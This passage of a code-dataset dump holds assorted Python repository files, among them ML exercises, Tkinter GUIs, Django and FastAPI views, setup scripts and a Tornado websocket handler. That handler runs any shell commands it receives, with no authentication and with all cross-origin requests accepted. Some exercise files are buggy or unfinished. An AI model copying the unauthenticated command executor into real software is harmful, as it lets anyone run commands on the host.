j in range(1, degree):\n x[i][j] = x[i][j - 1] * data.x()[i]\n y = data.y().reshape(n, 1)\n\n Q = (1 / n) * (x.T @ x + lam * np.mat(np.eye(degree)))\n W = np.mat(np.zeros(degree)).T\n\n r = -calc_gradient(W, x, y, lam)\n p = r\n for i in range(1, n):\n a = float((r.T * r) / (p.T * Q * p))\n r_prev = r\n W = W + a * p\n r = r - a * Q * p\n p = r + float((r.T * r) / (r_prev.T * r_prev)) * p\n\n return np.ravel(W)\n","repo_name":"zirui-HIT/HIT_Lab","sub_path":"Machine_Learning/Lab1/src/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"7246690380","text":"import sys\r\n\r\ndef solution():\r\n N, K = map(int,sys.stdin.readline().split(\" \"))\r\n cost = []\r\n ways = []\r\n parents = []\r\n complete = [False] * N\r\n pre = [0] * N\r\n queue = []\r\n ans = [0] * N\r\n cost = list(map(int,sys.stdin.readline().split(\" \")))\r\n for i in range(N):\r\n ways.append([])\r\n parents.append([])\r\n for _ in range(K):\r\n first, second = map(int,sys.stdin.readline().split(\" \"))\r\n pre[second-1] += 1\r\n parents[second-1].append(first-1)\r\n ways[first-1].append(second-1)\r\n for i in range(N):\r\n if len(parents[i])==0:\r\n queue.append(i)\r\n ans[i]=cost[i]\r\n\r\n out = int(input())\r\n\r\n while(not complete[out-1]):\r\n complete[queue[0]] = True\r\n for node in ways[queue[0]]:\r\n pre[node] -= 1\r\n if pre[node]==0: queue.append(node)\r\n ans[node] = max(ans[node] , ans[queue[0]] + cost[node])\r\n del queue[0]\r\n\r\n print(ans[out-1])\r\n \r\nfor _ in range(int(sys.stdin.readline())):\r\n solution()\r\n","repo_name":"changdae20/BOJ","sub_path":"백준/Gold/1005. ACM Craft/ACM Craft.py","file_name":"ACM Craft.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"29303947932","text":"import imgaug as ia\nimport imgaug.augmenters as iaa\nfrom imgaug.augmentables.bbs import BoundingBox, BoundingBoxesOnImage\n\nimport cv2\n\nimport numpy as np\nfrom PIL import Image\n\nseqRot90 = iaa.Sequential([\n iaa.Rotate(90)\n])\n\nseqFlipH = iaa.Sequential([\n iaa.Fliplr(1)\n])\n\nseqFlipV = iaa.Sequential([\n iaa.Flipud(1)\n])\n\nseqRot180 = iaa.Sequential([\n iaa.Rotate(180)\n])\n\nseqRot270 = iaa.Sequential([\n iaa.Rotate(270)\n])\n\ndef aug_test(image, all_boxes):\n\n lista_boxes = []\n #Se transforman las cajas a un formato manejable por imgaug\n for c, boxes_tmp in enumerate(all_boxes):\n for box in boxes_tmp:\n obj = BoundingBox(x1=box[0], y1=box[1],x2=box[0]+box[2], y2=box[1]+box[3], label=c)\n lista_boxes.append(obj)\n \n bbs = BoundingBoxesOnImage(lista_boxes, shape=image.shape)\n # Se especifican las aumentaciones a realizar\n lista_aumentaciones = [seqRot90, seqFlipH, seqFlipV, seqRot180, seqRot270]\n # Se crea una lista que almacena una tupla (imagen, etiquetado),\n # Almacenando la original en la primera posicion\n images_with_boxes = [(image, bbs)]\n # Por cada aumentación, se genera una nueva imagen, junto con su etiquetado\n for aument in lista_aumentaciones:\n image_aug, bbs_aug = aument(image=image, bounding_boxes=bbs)\n #Se eliminan boxes exteriores\n bbs_aug = bbs_aug.remove_out_of_image().clip_out_of_image()\n\n images_with_boxes.append((image_aug, bbs_aug))\n \n return images_with_boxes\n","repo_name":"nerfshacopls/tfg_2023","sub_path":"img_augmentator.py","file_name":"img_augmentator.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"36976763892","text":"\nfrom traceback import print_tb\n\n\nvocabulary = {}\n\nvocabulary['student'] = '학생'\nvocabulary['teacher'] = '선생님'\nvocabulary['classroom'] = '교실'\nvocabulary['smart'] = '똑똑한'\nvocabulary['lunch'] = '점심'\n\n# # 저장\n# word = input('저장할 단어를 입력하세요 >> ')\n\n\n# # 최대 5개까지\n# # 중복 불가\n# if len(vocabulary) == 0 :\n# meaning = input('단어의 뜻을 입력하세요 >> ')\n# vocabulary[word] = meaning\n# elif len(vocabulary) > 0 and len(vocabulary) < 5 :\n# for key in vocabulary.keys() :\n# if key == word :\n# print('이미 등록된 단어입니다.')\n# break\n# else :\n# meaning = input('단어의 뜻을 입력하세요 >> ')\n# vocabulary[word] = meaning\n# break\n# else :\n# print('단어는 최대 5개까지만 입력가능합니다.')\n\n# print(vocabulary)\n\n# 검색\n# word = input('찾을 단어를 입력하세요 >> ')\n# lengthOfWord = len(word)\n\n# for key in vocabulary.keys() :\n# trimmedKey = key[0:lengthOfWord]\n# if trimmedKey == word :\n# print('{} : {}' .format(key, vocabulary[key]))\n# break\n# else :\n# print('단어를 검색할 수 없습니다')\n# break\n\n\n# 수정\n# word = input('수정할 단어를 입력하세요 >> ')\n# isExist = False\n\n# for key in vocabulary.keys() :\n# if key == word : \n# meaning = input('뜻을 입력하세요 >> ')\n# vocabulary[key] = meaning\n# isExist = True\n# break\n\n# if not isExist :\n# print('단어를 검색할 수 없습니다')\n\n# print(vocabulary)\n\n# 삭제\n# word = input('삭제할 단어를 입력하세요 >> ')\n# isExist = False\n\n# for key in vocabulary.keys() :\n# if key == word : \n# del vocabulary[key]\n# isExist = True\n# print('단어를 삭제하였습니다')\n# break\n\n# if not isExist :\n# print('단어를 검색할 수 없습니다')\n\n# print(vocabulary)\n\n# 목록\n# print('1.오름차순 2.내림차순')\n# submenu = input('원하는 정렬 방식을 입력하세요 >> ')\n# sortedVocabulary = sorted(vocabulary.items())\n# reversedVocabulary = reversed(sortedVocabulary)\n\n# if submenu == '1' :\n# for item in sortedVocabulary :\n# print('{} : {}' .format(item[0], item[1]))\n# elif submenu == '2' :\n# for item in reversedVocabulary :\n# print('{} : {}' .format(item[0], item[1]))\n# else :\n# print('잘못 입력하셨습니다.') \n# pass\n\n\n# 통계\ndef infoOfVocabulary() :\n print('저장된 단어 갯수 : {}' .format(len(vocabulary)))\n\n longestWord = None\n for word1 in vocabulary.keys() :\n longestWord = word1\n for word2 in vocabulary.keys() :\n if len(longestWord) <= len(word2) :\n longestWord = word2 \n print('단어의 문자 수가 가장 많은 단어 : {}' .format(longestWord))\n\n import operator \n vocabularyWithLength = {}\n for item1 in vocabulary.keys() :\n for item2 in vocabulary.keys() :\n result = operator.ge(len(item1), len(item2))\n print(result)\n if result :\n item1\n else :\n item2\n # print(sortedVocabulary)\n print('단어 글자 수 내림차순 출력(단어만)')\n\ninfoOfVocabulary()\n# 종료\n\n# 공통\n# 파일 IO","repo_name":"k-juyeong/backup","sub_path":"vocabulary/exam.py","file_name":"exam.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"41818180160","text":"\"\"\"\n1초마다 반복해서 동작하는 코드 만들기\n\"\"\"\n\nimport tkinter\nimport tkinter.font\n\n# window 객체 생성\nwindow = tkinter.Tk()\n\n# 타이틀을 정의\nwindow.title(\"가상화폐 금액표시\")\n\n# GUI의 사이즈를 설정\nwindow.geometry(\"400x200\")\n\n# 가로세로의 크기를 조절하지 못하도록 설정\nwindow.resizable(False, False)\n\n\n\n# 폰트를 적용하여 hello의 문자열을 출력\nfont = tkinter.font.Font(size=30)\nlabel = tkinter.Label(window, text=\"hello\", font=font)\nlabel.pack()\n\ncnt = 0\n\n# 1초마다 실행되는 함수\ndef get_coin_1sec():\n # 함수 안에서 cnt의 전역변수를 사용하기 위해 global를 붙여 전역변수인 cnt를 사용\n global cnt\n now_btc_price = str(cnt)\n cnt = cnt + 1\n \n # 라벨의 text를 변경\n label.config(text=now_btc_price)\n \n # 1초 후에 get_coin_1sec 함수를 불러온다.\n window.after(1000, get_coin_1sec)\n\n# 한 번 실행 후 자기 자신을 1초마다 호출\nget_coin_1sec()\n\n# GUI를 계속 실행하기 위해 mainloop를 살행\nwindow.mainloop()","repo_name":"woogieReal/python-40-programs","sub_path":"tkinter/30.가상화폐_금액표시_GUI_프로그램_만들기/main30-03.py","file_name":"main30-03.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"23978697425","text":"class Solution(object):\n def canJump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n i, reach = 0, 0 \n while i < n and i <= reach:\n reach = max(i + nums[i], reach)\n i += 1\n return i == n\n","repo_name":"wuhao007/LeetCode","sub_path":"jump-game_1.py","file_name":"jump-game_1.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"91"}
+{"seq_id":"9871183495","text":"from fastapi import APIRouter, HTTPException\n\nfrom back.crud.async_gallery import get_crud_async_gallery, get_gallery_by_gallery_id\nfrom back.dependency.security import api_security\nfrom back.model.gallery import Gallery\nfrom back.model.scope import ScopeEnum\n\nrouter = APIRouter(tags=[\"Gallery Tag\"])\n\n\n@router.get(\n \"/{gallery_id}/tag\",\n response_model=Gallery,\n dependencies=[api_security([ScopeEnum.gallery_tag_get.value])],\n)\nasync def get_tag(gallery_id: str) -> Gallery:\n gallery = await get_gallery_by_gallery_id(gallery_id)\n return gallery\n\n\n@router.post(\n \"/{gallery_id}/tag\",\n response_model=Gallery,\n dependencies=[api_security([ScopeEnum.gallery_tag_post.value])],\n)\nasync def post_tag(gallery_id: str, gallery: Gallery) -> Gallery:\n if gallery_id != gallery.id:\n raise HTTPException(\n status_code=409, detail=\"Conflict between post body and url parameter\"\n )\n\n crud = await get_crud_async_gallery(gallery_id)\n return await crud.update(gallery)\n","repo_name":"ZetsuBouKyo/ZetsuBou","sub_path":"back/api/v1/gallery/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"91"}
+{"seq_id":"42447858136","text":"import setuptools\nimport agrimetscraper\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n\n\nsetuptools.setup(\n name=\"agrimetscraper\",\n version=agrimetscraper.__version__,\n author=\"Xiaoping Li\",\n author_email=\"lixiaopi@oregonstate.edu\",\n description=\"A package to scrape AgriMet weather data\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/lixiaopi1985/agrimet_scraper\",\n scripts=['agrimetscraper/bin/startproject.py',],\n packages=setuptools.find_packages(),\n install_requires=['pandas', 'numpy', 'python-crontab', 'requests', 'fake_useragent', 'bs4', 'pymongo', 'dnspython'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n )\n","repo_name":"lixiaopi1985/agrimet_scraper","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"29567180494","text":"import tkinter as tk\nfrom tkinter import filedialog\nimport pandas as pd\n\ndef fechar_janela():\n janela.quit()\n\ndef center_window(win, width=350, height=300):\n screen_width = win.winfo_screenwidth()\n screen_height = win.winfo_screenheight()\n \n x = (screen_width/2) - (width/2)\n y = (screen_height/2) - (height/2)\n\n win.geometry(f'{width}x{height}+{int(x)}+{int(y)}')\n\ndef carregar_arquivo():\n janela.lift()\n filepath = filedialog.askopenfilename(filetypes=[(\"Planilhas Excel\", \"*.xlsx\")])\n if filepath:\n global df\n df = pd.read_excel(filepath)\n exibir_janela_resultados()\n\ndef voltar_e_mostrar_principal(janela_resultados):\n janela_resultados.destroy()\n janela.deiconify()\n\ndef atualizar_informacoes():\n texto_resultados.delete(\"1.0\", tk.END)\n texto_resultados.insert(tk.END, df.to_string(index=True, justify='center'))\n\ndef adaptar_geometria(janela):\n largura = janela.winfo_screenwidth()\n altura = janela.winfo_screenheight()\n\n proporcao_largura = 0.8\n proporcao_altura = 0.8\n\n largura_janela = int(largura * proporcao_largura)\n altura_janela = int(altura * proporcao_altura)\n\n posicao_x = (largura - largura_janela) // 2\n posicao_y = (altura - altura_janela) // 2\n\n janela.geometry(f\"{largura_janela}x{altura_janela}+{posicao_x}+{posicao_y}\")\n janela.minsize(width=667, height=375)\n\ndef exibir_janela_resultados():\n janela_resultados = tk.Toplevel(janela)\n janela_resultados.title(\"Resultados\")\n adaptar_geometria(janela_resultados)\n\n global texto_resultados\n\n frame_topo = tk.Frame(janela_resultados)\n frame_topo.pack(side=tk.TOP, pady=10)\n\n botao_voltar = tk.Button(frame_topo, text=\"Voltar\", command=lambda: voltar_e_mostrar_principal(janela_resultados), bg=\"green\", fg=\"white\")\n botao_voltar.pack(side=tk.LEFT, padx=5)\n\n frame_baixo = tk.Frame(janela_resultados)\n frame_baixo.pack(side=tk.BOTTOM, pady=10)\n\n botao_carregar_outro_arquivo = tk.Button(frame_baixo, text=\"Carregar Outro Arquivo\", command=carregar_arquivo, bg=\"green\", fg=\"white\")\n botao_carregar_outro_arquivo.pack(side=tk.BOTTOM, padx=10)\n\n texto_resultados = tk.Text(janela_resultados, width=105, height=50)\n texto_resultados.insert(tk.END, df.to_string(index=True, justify='center'))\n texto_resultados.tag_configure(\"left\", justify='left')\n scrollbar_horizontal = tk.Scrollbar(janela_resultados, orient=\"horizontal\", command=texto_resultados.xview)\n scrollbar_horizontal.pack(side=tk.BOTTOM, fill=tk.X)\n texto_resultados.configure(xscrollcommand=scrollbar_horizontal.set)\n texto_resultados.insert(tk.END, df.to_string(index=True, justify='center'))\n texto_resultados.pack(expand=True, fill=tk.BOTH)\n texto_resultados.config(wrap=\"none\")\n\njanela = tk.Tk()\njanela.title(\"Projeto Dashboard\")\n\ncenter_window(janela)\n\nrotulo_titulo = tk.Label(janela, text=\"LEITOR DE EXCEL\")\nrotulo_titulo.pack()\nrotulo_titulo.place(relx=0.5, rely=0.3, anchor=\"center\")\n\nbotao_carregar = tk.Button(janela, text=\"Selecionar Arquivo\", command=carregar_arquivo, bg=\"green\", fg=\"white\")\nbotao_carregar.pack()\nbotao_carregar.place(relx=0.5, rely=0.5, anchor=\"center\")\n\nbotao_sair = tk.Button(janela, text=\"SAIR\", command=fechar_janela, bg=\"red\", fg=\"white\")\nbotao_sair.pack()\nbotao_sair.place(relx=1, rely=1, anchor=\"se\")\n\njanela.mainloop()\n","repo_name":"robertosilvati/Dashbord-Python-Excel","sub_path":"Dash.py","file_name":"Dash.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"73090627184","text":"import argparse\nimport asyncio\nimport traceback\n\nfrom slacker import Slacker\n\nfrom JenkinsBuildBot import JenkinsBuildBot\n\n\nasync def main():\n parser = argparse.ArgumentParser(description=\"Simple jenkins build invoke bot\")\n\n parser.add_argument('bot_token', help='Bot User OAuth Access Token')\n parser.add_argument('user_token', help='OAuth Access Token')\n parser.add_argument('jenkins_url', help='jenkins server url')\n\n args = parser.parse_args()\n\n bot_slack = Slacker(args.bot_token)\n user_slack = Slacker(args.user_token)\n\n bot = JenkinsBuildBot(bot_slack, user_slack, args.jenkins_url)\n while True:\n try:\n await bot._listen()\n except:\n traceback.print_exc()\n await asyncio.sleep(60)\n\n\nif __name__ == '__main__':\n asyncio.run(main())\n","repo_name":"kdw9502/jenkins-build-slack-bot","sub_path":"StartBot.py","file_name":"StartBot.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"}
+{"seq_id":"4503309933","text":"from django.shortcuts import render\nfrom core.models import Streak, Profile\nfrom django.contrib.auth.decorators import login_required\n\nfrom .models import CoinsEarnerLeaderBoard, CreatorLeaderBoard, ReferralLeaderBoard\n# Create your views here.\n\n\n\"\"\"\nAdd Pagination To All The Leaderboard\n\nAnd also make all the leaderboard daily\n\"\"\"\n\n\n\n\n@login_required(redirect_field_name='next', login_url='account_login')\ndef Leaderboard(request):\n user = request.user\n profile = Profile.objects.get(user=user)\n context={\n 'nav': 'leaderboard',\n 'profile': profile,\n }\n return render(request, 'leaderboard/leaderboard.html', context)\n\n\n\n\n@login_required(redirect_field_name='next', login_url='account_login')\ndef StreakLeaderBoard(request):\n leaders = Streak.objects.all().order_by('-length', '-question')[0:1000]\n # add the get absolute url function to the profile\n # add pagination and waypoint or ajax I think Ajax will be more controllable\n\n context = {\n 'leaders': leaders,\n }\n\n return render(request, 'leaderboard/streak.html', context)\n\n\n# add the function for reward that will be triggered by celery. it wont't be a view function\n\n\n\n@login_required(redirect_field_name='next', login_url='account_login')\ndef WealthLeaderBoard(request,*args, **kwargs):\n leaders = CoinsEarnerLeaderBoard.objects.all().order_by('-coins')[0:1000]\n context = {\n 'leaders' : leaders,\n }\n\n return render(request, 'leaderboard/wealth.html', context)\n\n\n\n\n@login_required(redirect_field_name='next', login_url='account_login')\ndef CreatorsLeaderBoard(request,*args, **kwargs):\n leaders = CreatorLeaderBoard.objects.all().order_by('-coins')[0:1000]\n context = {\n 'leaders' : leaders,\n }\n\n return render(request, 'leaderboard/wealth.html', context)\n\n\n\n\n@login_required(redirect_field_name='next', login_url='account_login')\ndef ReferralLeaderBoard(request,*args, **kwargs):\n leaders = ReferralLeaderBoard.objects.all().order_by('-refers')\n context = {\n 'leaders' : leaders,\n }\n\n return render(request, 'leaderboard/referral.html', context)\n\n\n\n\n\n","repo_name":"PeaceTem/student","sub_path":"leaderboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"15415327131","text":"from setuptools import find_packages, setup\n\n# some RDKit versions are not recognized by setuptools\n# -> check if RDKit is installed by attempting to import it\n# -> if RDKit can be imported, do not add it to install_requires\nrdkit = False\ntry:\n from rdkit import Chem\n\n rdkit = True\nexcept ImportError:\n pass\n\nrdkit_requirement = [\"rdkit>=2022.3.3\"] if not rdkit else []\n\nsetup(\n name=\"hypothesis-rdkit\",\n version=\"0.5.2\",\n maintainer=\"Steffen Hirte\",\n maintainer_email=\"shirte@users.noreply.github.com\",\n packages=find_packages(),\n url=\"https://github.com/shirte/hypothesis-rdkit\",\n description=\"Hypothesis strategies for RDKit\",\n long_description=open(\"README.md\").read(),\n long_description_content_type=\"text/markdown\",\n license=\"MIT\",\n license_files=(\"LICENSE\",),\n install_requires=[\"hypothesis\", \"tqdm\"] + rdkit_requirement,\n extras_require={\"dev\": [\"black\", \"isort\"], \"test\": [\"pytest\"]},\n entry_points={\"hypothesis\": {\"_ = hypothesis_rdkit.hook:_hypothesis_setup_hook\"}},\n include_package_data=True,\n classifiers=[\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Topic :: Software Development :: Testing\",\n \"Topic :: Scientific/Engineering :: Chemistry\",\n \"Framework :: Hypothesis\",\n \"License :: OSI Approved :: MIT License\",\n ],\n)\n","repo_name":"shirte/hypothesis-rdkit","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"1869531019","text":"# coding:utf-8\nimport json\n\nimport time\nfrom tornado.websocket import WebSocketHandler\nimport threading\nimport commands\n\nfrom logger_conf import logger\n\n__author__ = 'uv2sun'\n\n\nclass ExecHandler(WebSocketHandler):\n def data_received(self, chunk):\n pass\n\n def on_message(self, message):\n logger.debug('received cmd, %s' % (message,))\n msg = json.loads(message)\n if msg and msg['cmds']:\n Executor(msg['cmds'], self).start()\n else:\n self.write_message(json.dumps({'msg_type': 'cmd_err', 'msg': 'no commands to execute'}))\n self.close(code=9, reason='no commands to execute')\n\n def open(self, *args, **kwargs):\n logger.debug(\"received exec request\")\n logger.debug(self.request)\n\n def on_close(self):\n logger.debug('close websocket request')\n\n def check_origin(self, origin):\n \"\"\"跨域检查永远通过\"\"\"\n return True\n\n\nclass Executor(threading.Thread):\n \"\"\"命令执行器，单独线程执行\"\"\"\n\n def __init__(self, cmds, websocket):\n super(Executor, self).__init__()\n self.cmds = cmds\n self.websocket = websocket\n\n def exec_cmd(self):\n for cmd in self.cmds:\n msg = 'begin to exec [%s]' % (cmd,)\n self.websocket.write_message(json.dumps({'msg_type': 'status', 'msg': msg}))\n logger.debug(msg)\n result = commands.getstatusoutput(cmd=cmd)\n logger.debug('执行结果：%s' % (result,))\n exit_code = result[0]\n echo = result[1]\n if exit_code == 0:\n msg = {'msg_type': 'status', 'msg': 'exec [%s] ok' % (cmd,)}\n time.sleep(5)\n self.websocket.write_message(json.dumps(msg))\n logger.debug(msg)\n else:\n logger.error('exec [%s] error, %s' % (cmd, result))\n # self.websocket.write_message('exec [%s] error, exit=%s, echo=%s', (cmd, exit_code, echo))\n self.websocket.write_message(json.dumps({'msg_type': 'cmd_err', 'msg': echo}))\n self.websocket.close(code=exit_code, reason=echo)\n return\n msg = {'msg_type': 'cmd_end', 'msg': 'exec cmds success'}\n logger.debug(msg)\n self.websocket.write_message(json.dumps(msg))\n logger.debug(\"exec over ok, send close event.\")\n self.websocket.close(code=0)\n\n def run(self):\n self.exec_cmd()\n","repo_name":"rogetsun/PM-Node","sub_path":"router/exec_router.py","file_name":"exec_router.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"27434860539","text":"import sys\nimport os\nimport astropy.io.fits as pyfits\nimport numpy\nimport math\nimport datetime\n\nimport matplotlib\nimport matplotlib.pyplot\n\nfrom podi_observingplots import *\nfrom podi_definitions import *\nfrom podi_commandline import *\n\n\n\nif __name__ == \"__main__\":\n\n print(\"Reading data\")\n direntry, arrays = read_data_from_files(get_clean_cmdline()[1:])\n obstype, exptime, filtername, photzp, photzpe, mjd, dateobs, airmass = arrays\n\n # Now create the plots\n\n\n # This is the MJD of 01/01/0001\n mjd_zeropoint = 1721424.500000 - 2400000.5 + (7./24.0)\n # Find out the start and end times of the data block\n time_start = numpy.min(mjd)-mjd_zeropoint\n time_end = numpy.max(numpy.array(mjd)+numpy.array(exptime)/86400)-mjd_zeropoint\n\n print(time_start*24, time_end*24.)\n hour_start = math.floor(time_start*24.)\n hour_end = math.ceil(time_end*24.)\n n_hours = int(hour_end - hour_start)\n print(n_hours, hour_start, hour_end)\n\n \n print(\"setting up plot\")\n fig = matplotlib.pyplot.figure()\n\n all_axes = []\n for cur_hour in range(n_hours):\n\n subplot_id = n_hours * 100 + 10 + (cur_hour+1)\n if (len(all_axes) == 0):\n ax = fig.add_subplot(n_hours, 1, cur_hour+1)\n else:\n ax = fig.add_subplot(n_hours, 1, cur_hour+1, sharey=all_axes[0])\n\n fiveminutes = matplotlib.dates.MinuteLocator(interval=5)\n minutes = matplotlib.dates.MinuteLocator(interval=1)\n hfmt = matplotlib.dates.DateFormatter(':%M')\n ax.xaxis.set_major_locator(fiveminutes)\n ax.xaxis.set_minor_locator(minutes)\n ax.xaxis.set_major_formatter(hfmt)\n ax.set_xlim(((hour_start+cur_hour)/24., (hour_start+cur_hour+1)/24.-1e-6))\n ax.axes.yaxis.set_ticks([])\n\n hour_of_the_day = int(hour_start + cur_hour) % 24\n #print hour_of_the_day\n\n date = datetime.date.fromordinal(int(math.floor((hour_start + cur_hour)/24.))).strftime(\"%d/%m/%y\")\n \n if (n_hours > 7):\n ylabel = \"%s-%02dh\" % (date, hour_of_the_day)\n else:\n ylabel = \"%s\\n%02dh MST\" % (date, hour_of_the_day)\n\n ax.set_ylabel(ylabel,\n rotation=\"horizontal\",\n verticalalignment=\"center\",\n horizontalalignment=\"right\")\n all_axes.append(ax)\n\n all_axes[0].set_ylim((0,1))\n# all_axes[0].set_title(\"Observing efficiency\")\n fig.suptitle(\"Observing efficiency\", fontsize=20)\n\n for i in range(len(all_axes)-1): #ax in all_axes[:-1]:\n #ax.axes.get_xaxis().set_visible(False)\n all_axes[i].axes.xaxis.set_ticklabels([])\n\n cc = matplotlib.colors.ColorConverter()\n\n\n def dzp_to_transparency(d_zp):\n return 100.*numpy.power(10., 0.4*d_zp)\n\n matplotlib.pyplot.subplots_adjust(bottom=.05, \n top=0.92, \n right=0.98, \n left=0.13 if n_hours <= 7 else 0.18)\n\n #\n # Now add the polygons to show the shutter-open efficiency.\n #\n # First, compute all times for each of the frames\n top_level = 1\n height = 1\n efficiency_plot = []\n efficiency_colors = []\n\n poly_for_axes = [[]] * n_hours\n polyc_for_axes = [[]] * n_hours\n print(poly_for_axes)\n\n for filename in direntry:\n \n this_file = direntry[filename]\n\n # compute all times\n # but first apply the MJD zeropoint to convert times to the matplotlib\n # format\n mjdobs = this_file['MJD-OBS'] - mjd_zeropoint\n init = mjdobs - seconds2mjd(10.)\n start = mjdobs\n end = mjdobs + seconds2mjd(this_file['EXPMEAS'])\n complete = end + seconds2mjd(25.)\n \n # Determine which hour we need\n hour_slot = int( math.floor(init*24.) - hour_start )\n print(hour_start, init*24, hour_slot)\n hour_slot=0\n\n this_color = 'grey'\n if (this_file['FILTER'] in known_filters):\n zp,amt,col = known_filters[this_file['FILTER']]\n this_color = col\n \n if (math.floor(init*24.) < math.floor(complete*24.)):\n # This block spans multiple hours\n hour_break = math.floor(complete*24.)/24.\n poly_start = [[init, top_level],\n [start if start < hour_break else hour_break , top_level-height],\n [end if end < hour_break else hour_break, top_level-height],\n [complete if end < hour_break else hour_break, top_level]\n ]\n poly_end = [[init if init > hour_break else hour_break, top_level],\n [start if start > hour_break else hour_break , top_level-height],\n [end if end > hour_break else hour_break, top_level-height],\n [complete if end > hour_break else hour_break, top_level]\n ]\n\n poly_for_axes[hour_slot].append(poly_start)\n polyc_for_axes[hour_slot].append(this_color)\n\n poly_for_axes[hour_slot+1].append(poly_end)\n polyc_for_axes[hour_slot+1].append(this_color)\n\n pass\n else:\n this_poly = [[init, top_level],\n [start, top_level-height],\n [end, top_level-height],\n [complete, top_level]\n ]\n poly_for_axes[hour_slot].append(this_poly)\n polyc_for_axes[hour_slot].append(this_color)\n\n\n for i in range(len(all_axes)):\n\n # and then plots all the polygons\n coll = matplotlib.collections.PolyCollection(poly_for_axes[i],\n facecolor=polyc_for_axes[i],\n #edgecolor='#808080', \n edgecolor=polyc_for_axes[i],\n #edgecolor='none',\n linestyle='-')\n all_axes[i].add_collection(coll)\n\n\n #tax.set_ylim((1,200))\n #tax.set_yscale('log')\n #tax.legend(loc='best', borderaxespad=1)\n\n # Set output size to 900x500 pixels\n fig.set_size_inches(9,5)\n output_filename = cmdline_arg_set_or_default(\"-output\", \"shutter_open.png\")\n print(\"Saving output to file\",output_filename)\n fig.savefig(output_filename, dpi=100)\n\n #tfig.savefig(\"transparency_trend.png\")\n\n if (cmdline_arg_isset(\"-show\")):\n matplotlib.pyplot.show()\n\n\n","repo_name":"WIYN-ODI/QuickReduce","sub_path":"podi_openshutterplot.py","file_name":"podi_openshutterplot.py","file_ext":"py","file_size_in_byte":6523,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"91"}
+{"seq_id":"10762264666","text":"lista = []\r\nmaior = 0\r\nposicao = 0\r\nn = 0\r\nwhile n < 100:\r\n x = int(input())\r\n lista.append(x)\r\n n += 1\r\n if x > maior:\r\n maior = x\r\n posicao = lista.index(x) + 1\r\nprint(maior)\r\nprint(posicao)","repo_name":"LoboNeves/URI-Python","sub_path":"1080-Highest and Position.py","file_name":"1080-Highest and Position.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"42436035587","text":"import os\nimport sys\nimport sysconfig\n\n# define the path to mapserver test data\nTESTS_PATH = \"../../tests\"\n\nTESTMAPFILE = os.path.join(TESTS_PATH, \"test.map\")\nXMARKS_IMAGE = os.path.join(TESTS_PATH, \"xmarks.png\")\nTEST_IMAGE = os.path.join(TESTS_PATH, \"test.png\")\n\n# Put local build directory on head of python path\nplatformdir = \"-\".join(\n (sysconfig.get_platform(), \".\".join(map(str, sys.version_info[0:2])))\n)\nsys.path.insert(0, os.path.join(\"build\", \"lib.\" + platformdir))\n\n# import mapscript from the local build directory\nimport mapscript\n\n# normalize names, allows testing of module that uses the experimental\n# next generation names\nclassnames = [\n \"mapObj\",\n \"layerObj\",\n \"classObj\",\n \"styleObj\",\n \"shapeObj\",\n \"lineObj\",\n \"pointObj\",\n \"rectObj\",\n \"outputFormatObj\",\n \"symbolObj\",\n \"symbolSetObj\",\n \"colorObj\",\n \"imageObj\",\n \"shapefileObj\",\n \"projectionObj\",\n \"fontSetObj\",\n \"hashTableObj\",\n]\n\nfor name in classnames:\n try:\n new_name = name.replace(\"Obj\", \"\")\n new_name = new_name.capitalize()\n new_object = getattr(mapscript, new_name)\n setattr(mapscript, name, new_object)\n except AttributeError:\n pass\n","repo_name":"MapServer/MapServer","sub_path":"src/mapscript/python/tests/timing/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":934,"dataset":"github-code","pt":"91"}
